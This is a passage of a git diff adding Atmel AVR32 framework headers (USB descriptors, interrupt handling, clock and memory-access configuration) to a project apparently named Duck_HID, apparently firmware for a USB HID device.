bDescriptorType; + le16_t bcdUSB; + uint8_t bDeviceClass; + uint8_t bDeviceSubClass; + uint8_t bDeviceProtocol; + uint8_t bMaxPacketSize0; + uint8_t bNumConfigurations; + uint8_t bReserved; +} usb_dev_qual_desc_t; + + +/** + * \brief Standard USB Interface Association Descriptor structure + */ +typedef struct { + uint8_t bLength; //!< size of this descriptor in bytes + uint8_t bDescriptorType; //!< INTERFACE descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_association_desc_t; + + +/** + * \brief Standard USB configuration descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + le16_t wTotalLength; + uint8_t bNumInterfaces; + uint8_t bConfigurationValue; + uint8_t iConfiguration; + uint8_t bmAttributes; + uint8_t bMaxPower; +} usb_conf_desc_t; + + +#define USB_CONFIG_ATTR_MUST_SET (1 << 7) //!< Must always be set +#define USB_CONFIG_ATTR_BUS_POWERED (0 << 6) //!< Bus-powered +#define USB_CONFIG_ATTR_SELF_POWERED (1 << 6) //!< Self-powered +#define USB_CONFIG_ATTR_REMOTE_WAKEUP (1 << 5) //!< remote wakeup supported + +#define USB_CONFIG_MAX_POWER(ma) (((ma) + 1) / 2) //!< Max power in mA + +/** + * \brief Standard USB association descriptor structure + */ +typedef struct { + uint8_t bLength; //!< Size of this descriptor in bytes + uint8_t bDescriptorType; //!< Interface descriptor type + uint8_t bFirstInterface; //!< Number of interface + uint8_t bInterfaceCount; //!< value to select alternate setting + uint8_t bFunctionClass; //!< Class code assigned by the USB + uint8_t bFunctionSubClass; //!< Sub-class code assigned by the USB + uint8_t bFunctionProtocol; //!< Protocol code assigned by the USB + uint8_t iFunction; //!< Index of string descriptor +} usb_iad_desc_t; + +/** + * \brief Standard USB interface descriptor structure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bInterfaceNumber; + uint8_t bAlternateSetting; + uint8_t bNumEndpoints; + uint8_t bInterfaceClass; + uint8_t bInterfaceSubClass; + uint8_t bInterfaceProtocol; + uint8_t iInterface; +} usb_iface_desc_t; + +/** + * \brief Standard USB endpoint descriptor stcuture + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; + uint8_t bEndpointAddress; + uint8_t bmAttributes; + le16_t wMaxPacketSize; + uint8_t bInterval; +} usb_ep_desc_t; + + +/** + * \brief A standard USB string descriptor sructure + */ +typedef struct { + uint8_t bLength; + uint8_t bDescriptorType; +} usb_str_desc_t; + +typedef struct { + usb_str_desc_t desc; + le16_t string[1]; +} usb_str_lgid_desc_t; + +COMPILER_PACK_RESET(); + +//! @} + +#endif /* _USB_PROTOCOL_H_ */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h new file mode 100755 index 0000000..03d1c8e --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt.h @@ -0,0 +1,120 @@ +/** + * \file + * + * \brief Global interrupt management for 8- and 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_H +#define UTILS_INTERRUPT_H + +#include + +#if XMEGA +# include "interrupt/interrupt_avr8.h" +#elif UC3 +# include "interrupt/interrupt_avr32.h" +#else +# error Unsupported device. +#endif + +/** + * \defgroup interrupt_group Global interrupt management + * + * This is a driver for global enabling and disabling of interrupts. + * + * @{ + */ + +//! \name Global interrupt flags +//@{ +/** + * \typedef irqflags_t + * \brief Type used for holding state of interrupt flag + */ + +/** + * \def cpu_irq_enable + * \brief Enable interrupts globally + */ + +/** + * \def cpu_irq_disable + * \brief Disable interrupts globally + */ + +/** + * \fn irqflags_t cpu_irq_save(void) + * \brief Get and clear the global interrupt flags + * + * Use in conjunction with \ref cpu_irq_restore. + * + * \return Current state of interrupt flags. + * + * \note This function leaves interrupts disabled. + */ + +/** + * \fn void cpu_irq_restore(irqflags_t flags) + * \brief Restore global interrupt flags + * + * Use in conjunction with \ref cpu_irq_save. + * + * \param flags State to set interrupt flag to. + */ + +/** + * \fn bool cpu_irq_is_enabled_flags(irqflags_t flags) + * \brief Check if interrupts are globally enabled in supplied flags + * + * \param flags Currents state of interrupt flags. + * + * \return True if interrupts are enabled. + */ + +/** + * \def cpu_irq_is_enabled + * \brief Check if interrupts are globally enabled + * + * \return True if interrupts are enabled. + */ +//@} + +//! @} + +/** + * \ingroup interrupt_group + * \defgroup interrupt_deprecated_group Deprecated interrupt definitions + */ + +#endif /* UTILS_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h new file mode 100755 index 0000000..b7fdc98 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/utils/interrupt/interrupt_avr32.h @@ -0,0 +1,310 @@ +/** + * \file + * + * \brief Global interrupt management for 32-bit AVR + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef UTILS_INTERRUPT_INTERRUPT_H +#define UTILS_INTERRUPT_INTERRUPT_H + +#include +#include + +/** + * \weakgroup interrupt_group + * + * @{ + */ + +/** + * \name Interrupt Service Routine definition and registration + * + * @{ + */ +#if defined(__GNUC__) || defined(__DOXYGEN__) +# include + +/** + * \brief Define service routine + * + * With IAR, this macro defines the function as an interrupt service routine and + * causes the compiler to add initialization code for the interrupt controller + * (INTC). The interrupt group and level, as well as a valid function name are + * therefore required. + * + * With GCC, this macro only causes the function to be defined as an interrupt + * service routine, i.e., it does not add any initialization code. A valid + * function name is required for use with \ref irq_register_handler. + * + * Usage: + * \code + * ISR(foo_irq_handler, AVR32_xxx_IRQ_GROUP, n) + * { + * // Function definition + * ... + * } + * \endcode + * + * \param func Name for the function, needed by \ref irq_register_handler. + * \param int_grp Interrupt group to define service routine for. + * \param int_lvl Priority level to set for the interrupt group, in the range + * \c 0 to \c 3. + * + * \note The interrupt groups can be found in the device header files for the + * IAR toolchain (avr32/io\.h). + * + * \todo Update to use IRQ numbers when these are made available in the + * device header files of both IAR and GCC. + */ +# define ISR(func, int_grp, int_lvl) \ + __attribute__((__interrupt__)) static void func (void) + +/** + * \brief Initialize interrupt vectors + * + * With GCC, this macro adds code for initialization of the interrupt vectors + * with the driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * This must be called prior to \ref irq_register_handler. + */ +# define irq_initialize_vectors() INTC_init_interrupts() + +/** + * \brief Register handler for interrupt + * + * With GCC, this macro adds code for registering an interrupt handler with the + * driver for the interrupt controller (INTC). + * + * With IAR, this macro adds no code, since initialization of the INTC is + * handled by the compiler. + * + * \param func Name of handler function to register for interrupt. + * \param int_num Number of the interrupt line to register function for. + * \param int_lvl Priority level to set for the interrupt's group, in the range + * \c 0 to \c 3. + * + * Usage: + * \code + * irq_initialize_vectors(); + * irq_register_handler(foo_irq_handler, AVR32_xxx_IRQ, n); + * \endcode + * + * \note The function \a func must be defined with the \ref ISR macro. + * \note The interrupt line number can be found in the device header files for + * the GCC toolchain (avr32/\.h). + */ +# define irq_register_handler(func, int_num, int_lvl) \ + INTC_register_interrupt(&func, int_num, \ + TPASTE2(AVR32_INTC_INT, int_lvl)) + +#elif defined(__ICCAVR32__) +# define ISR0(...) _Pragma(#__VA_ARGS__) +# define ISR(func, int_grp, int_lvl) \ + ISR0(handler=int_grp, int_lvl) \ + __interrupt static void func (void) +# define irq_initialize_vectors() do{ } while(0) +# define irq_register_handler(func, int_num, int_lvl) do{ } while(0) +#endif + +//@} + +#if (defined __GNUC__) +# define cpu_irq_enable() \ + do { \ + barrier(); \ + __builtin_csrf(AVR32_SR_GM_OFFSET); \ + } while (0) +# define cpu_irq_disable() \ + do { \ + __builtin_ssrf(AVR32_SR_GM_OFFSET); \ + barrier(); \ + } while (0) +#elif (defined __ICCAVR32__) +# define cpu_irq_enable() __enable_interrupt() +# define cpu_irq_disable() __disable_interrupt() +#endif + +typedef uint32_t irqflags_t; + +static inline irqflags_t cpu_irq_save(void) +{ + irqflags_t flags; + + flags = sysreg_read(AVR32_SR); + cpu_irq_disable(); + + return flags; +} + +static inline bool cpu_irq_is_enabled_flags(irqflags_t flags) +{ + return !(flags & AVR32_SR_GM_MASK); +} + +static inline void cpu_irq_restore(irqflags_t flags) +{ + barrier(); +#if defined(__ICCAVR32__) + // Barrier " __asm__ __volatile__ ("")" + // Don't work with sysreg_write(AVR32_SR, flags) + if( cpu_irq_is_enabled_flags(flags) ) { + cpu_irq_enable(); + } +#else + sysreg_write(AVR32_SR, flags); +#endif + barrier(); +} + +#define cpu_irq_is_enabled() cpu_irq_is_enabled_flags(sysreg_read(AVR32_SR)) + +//! \name Global interrupt levels +//@{ + +/** + * \brief Check if interrupt level is enabled in supplied flags + * + * \param flags State of interrupt flags. + * \param level Bit position for interrupt level. + * + * \return True if interrupt level is enabled. + */ +static inline bool cpu_irq_level_is_enabled_flags(irqflags_t flags, + uint32_t level) +{ + return !(flags & (1 << level)); +} + +/** + * \brief Check if interrupt level is enabled + * + * \param level Interrupt level (0 to 3). + * + * \return True if interrupt level \a level is enabled. + * + * \note The interrupt level must be known at compile time. + */ +#define cpu_irq_level_is_enabled(level) \ + cpu_irq_level_is_enabled_flags(sysreg_read(AVR32_SR), \ + TPASTE3(AVR32_SR_I, level, M_OFFSET)) + +#if defined(__GNUC__) || defined(__DOXYGEN__) +/** + * \brief Enable interrupt level + * + * \param level Interrupt level to enable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __builtin_csrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while (0) + +/** + * \brief Disable interrupt level + * + * \param level Interrupt level to disable (0 to 3). + * + * \note The interrupt level must be known at compile time. + */ +# define cpu_irq_disable_level(level) \ + do { \ + __builtin_ssrf(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) + +#elif (defined __ICCAVR32__) +# define cpu_irq_enable_level(level) \ + do { \ + barrier(); \ + __clear_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + } while(0) +# define cpu_irq_disable_level(level) \ + do { \ + __set_status_flag(TPASTE3(AVR32_SR_I, level, M_OFFSET)); \ + barrier(); \ + } while (0) +#endif + +//@} + +//@} + +/** + * \weakgroup interrupt_deprecated_group + * @{ + */ + +#define Enable_global_interrupt() cpu_irq_enable() +#define Disable_global_interrupt() cpu_irq_disable() +#define Is_global_interrupt_enabled() cpu_irq_is_enabled() + +#define Enable_interrupt_level(level) cpu_irq_enable_level(level) +#define Disable_interrupt_level(level) cpu_irq_disable_level(level) +#define Is_interrupt_level_enabled(level) cpu_irq_level_is_enabled(level) + +/** + * \name Interrupt protection of code sections + * \note Use \ref cpu_irq_save and \ref cpu_irq_restore instead of these macros. + * @{ + */ + +/** + * \brief Start section with code protected against interrupts + */ +#define AVR32_ENTER_CRITICAL_REGION() \ + { \ + Bool global_interrupt_enabled = Is_global_interrupt_enabled(); \ + Disable_global_interrupt(); + +/** + * \brief End section with code protected against interrupts + * + * \note This macro must always be used in conjunction with + * \ref AVR32_ENTER_CRITICAL_REGION so that interrupts are enabled again. + */ +#define AVR32_LEAVE_CRITICAL_REGION() \ + if (global_interrupt_enabled) Enable_global_interrupt(); \ + } + +//@} + +//@} + +#endif /* UTILS_INTERRUPT_INTERRUPT_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h new file mode 100755 index 0000000..c6d2c93 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_access.h @@ -0,0 +1,188 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Memory access control configuration file. + * + * This file contains the possible external configuration of the memory access + * control. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_ACCESS_H_ +#define _CONF_ACCESS_H_ + +#include "compiler.h" +#include "board.h" + + +/*! \name Activation of Logical Unit Numbers + */ +//! @{ +#define LUN_0 DISABLE //!< On-Chip Virtual Memory. +#define LUN_1 DISABLE //!< AT45DBX Data Flash. +#define LUN_2 ENABLE //!< SD/MMC Card over SPI. +#define LUN_3 DISABLE +#define LUN_4 DISABLE +#define LUN_5 DISABLE +#define LUN_6 DISABLE +#define LUN_7 DISABLE +#define LUN_USB DISABLE //!< Host Mass-Storage Memory. +//! @} + +/*! \name LUN 0 Definitions + */ +//! @{ +#define VIRTUAL_MEM LUN_0 +#define LUN_ID_VIRTUAL_MEM LUN_ID_0 +#define LUN_0_INCLUDE "virtual_mem.h" +#define Lun_0_test_unit_ready virtual_test_unit_ready +#define Lun_0_read_capacity virtual_read_capacity +#define Lun_0_wr_protect virtual_wr_protect +#define Lun_0_removal virtual_removal +#define Lun_0_usb_read_10 virtual_usb_read_10 +#define Lun_0_usb_write_10 virtual_usb_write_10 +#define Lun_0_mem_2_ram virtual_mem_2_ram +#define Lun_0_ram_2_mem virtual_ram_2_mem +#define LUN_0_NAME "\"On-Chip Virtual Memory\"" +//! @} + +/*! \name LUN 1 Definitions + */ +//! @{ +#define AT45DBX_MEM LUN_1 +#define LUN_ID_AT45DBX_MEM LUN_ID_1 +#define LUN_1_INCLUDE "at45dbx_mem.h" +#define Lun_1_test_unit_ready at45dbx_test_unit_ready +#define Lun_1_read_capacity at45dbx_read_capacity +#define Lun_1_wr_protect at45dbx_wr_protect +#define Lun_1_removal at45dbx_removal +#define Lun_1_usb_read_10 at45dbx_usb_read_10 +#define Lun_1_usb_write_10 at45dbx_usb_write_10 +#define Lun_1_mem_2_ram at45dbx_df_2_ram +#define Lun_1_ram_2_mem at45dbx_ram_2_df +#define LUN_1_NAME "\"AT45DBX Data Flash\"" +//! @} + +/*! \name LUN 2 Definitions + */ +//! @{ +#define SD_MMC_SPI_MEM LUN_2 +#define LUN_ID_SD_MMC_SPI_MEM LUN_ID_2 +#define LUN_2_INCLUDE "sd_mmc_spi_mem.h" +#define Lun_2_test_unit_ready sd_mmc_spi_test_unit_ready +#define Lun_2_read_capacity sd_mmc_spi_read_capacity +#define Lun_2_wr_protect sd_mmc_spi_wr_protect +#define Lun_2_removal sd_mmc_spi_removal +#define Lun_2_usb_read_10 sd_mmc_spi_usb_read_10 +#define Lun_2_usb_write_10 sd_mmc_spi_usb_write_10 +#define Lun_2_mem_2_ram sd_mmc_spi_mem_2_ram +#define Lun_2_ram_2_mem sd_mmc_spi_ram_2_mem +#define LUN_2_NAME "\"SD/MMC Card over SPI\"" +//! @} + +/*! \name USB LUNs Definitions + */ +//! @{ +#define MEM_USB LUN_USB +#define LUN_ID_MEM_USB LUN_ID_USB +#define LUN_USB_INCLUDE "host_mem.h" +#define Lun_usb_test_unit_ready(lun) host_test_unit_ready(lun) +#define Lun_usb_read_capacity(lun, nb_sect) host_read_capacity(lun, nb_sect) +#define Lun_usb_read_sector_size(lun) host_read_sector_size(lun) +#define Lun_usb_wr_protect(lun) host_wr_protect(lun) +#define Lun_usb_removal() host_removal() +#define Lun_usb_mem_2_ram(addr, ram) host_read_10_ram(addr, ram) +#define Lun_usb_ram_2_mem(addr, ram) host_write_10_ram(addr, ram) +#define LUN_USB_NAME "\"Host Mass-Storage Memory\"" +//! @} + +/*! \name Actions Associated with Memory Accesses + * + * Write here the action to associate with each memory access. + * + * \warning Be careful not to waste time in order not to disturb the functions. + */ +//! @{ +#if BOARD == EVK1100 + #define READ_LED LED_BI0_GREEN + #define WRITE_LED LED_BI0_RED +#elif BOARD == EVK1101 + #define READ_LED LED_MONO0_GREEN + #define WRITE_LED LED_MONO1_GREEN +#elif BOARD == EVK1104 + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == EVK1105 + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3C_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#elif BOARD == UC3L_EK + #define READ_LED LED0 + #define WRITE_LED LED1 +#endif + +#define memory_start_read_action(nb_sectors) LED_On(READ_LED) +#define memory_stop_read_action() LED_Off(READ_LED) +#define memory_start_write_action(nb_sectors) LED_On(WRITE_LED) +#define memory_stop_write_action() LED_Off(WRITE_LED) +//! @} + +/*! \name Activation of Interface Features + */ +//! @{ +#define ACCESS_USB DISABLED //!< MEM <-> USB interface. +#define ACCESS_MEM_TO_RAM ENABLED //!< MEM <-> RAM interface. +#define ACCESS_STREAM ENABLED //!< Streaming MEM <-> MEM interface. +#define ACCESS_STREAM_RECORD DISABLED //!< Streaming MEM <-> MEM interface in record mode. +#define ACCESS_MEM_TO_MEM ENABLED //!< MEM <-> MEM interface. +#define ACCESS_CODEC DISABLED //!< Codec interface. +//! @} + +/*! \name Specific Options for Access Control + */ +//! @{ +#define GLOBAL_WR_PROTECT DISABLED //!< Management of a global write protection. +//! @} + + +#endif // _CONF_ACCESS_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h new file mode 100755 index 0000000..4552eb6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_board.h @@ -0,0 +1,43 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Board configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_BOARD_H_INCLUDED +#define CONF_BOARD_H_INCLUDED + +// Only the default board init (switchs/leds) is necessary for this example + +#endif /* CONF_BOARD_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h new file mode 100755 index 0000000..da1e531 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_clock.h @@ -0,0 +1,75 @@ +/** + * \file + * + * \brief Chip-specific system clock manager configuration + * + * Copyright (C) 2011 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_CLOCK_H_INCLUDED +#define CONF_CLOCK_H_INCLUDED + +// ===== System Clock Source Options +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_RCSYS +#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_OSC0 +//#define CONFIG_SYSCLK_SOURCE SYSCLK_SRC_PLL0 + +// ===== PLL0 Options +#define CONFIG_PLL0_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL0_SOURCE PLL_SRC_OSC1 +#define CONFIG_PLL0_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +#define CONFIG_PLL0_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== PLL1 Options +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC0 +//#define CONFIG_PLL1_SOURCE PLL_SRC_OSC1 +//#define CONFIG_PLL1_MUL 8 /* Fpll = (Fclk * PLL_mul) / PLL_div */ +//#define CONFIG_PLL1_DIV 2 /* Fpll = (Fclk * PLL_mul) / PLL_div */ + +// ===== System Clock Bus Division Options +#define CONFIG_SYSCLK_CPU_DIV 1 /* Fcpu = Fsys/(2 ^ CPU_div) */ +#define CONFIG_SYSCLK_PBA_DIV 1 /* Fpba = Fsys/(2 ^ PBA_div) */ +#define CONFIG_SYSCLK_PBB_DIV 1 /* Fpbb = Fsys/(2 ^ PBB_div) */ + +// ===== Peripheral Clock Management Options +//#define CONFIG_SYSCLK_INIT_CPUMASK ((1 << SYSCLK_SYSTIMER) | (1 << SYSCLK_OCD)) +//#define CONFIG_SYSCLK_INIT_PBAMASK (1 << SYSCLK_USART0) +//#define CONFIG_SYSCLK_INIT_PBBMASK (1 << SYSCLK_HMATRIX) +//#define CONFIG_SYSCLK_INIT_HSBMASK (1 << SYSCLK_MDMA_HSB) + +// ===== USB Clock Source Options +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_OSC0 +#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL0 +//#define CONFIG_USBCLK_SOURCE USBCLK_SRC_PLL1 +#define CONFIG_USBCLK_DIV 1 /* Fusb = Fsys/(2 ^ USB_div) */ + +#endif /* CONF_CLOCK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h new file mode 100755 index 0000000..f3e7872 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_explorer.h @@ -0,0 +1,126 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief FAT configuration file. + * + * This file contains the possible external configuration of the FAT. + * + * Information about file-system limitations: + * - Only 2-FAT FSs supported by this navigator. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary 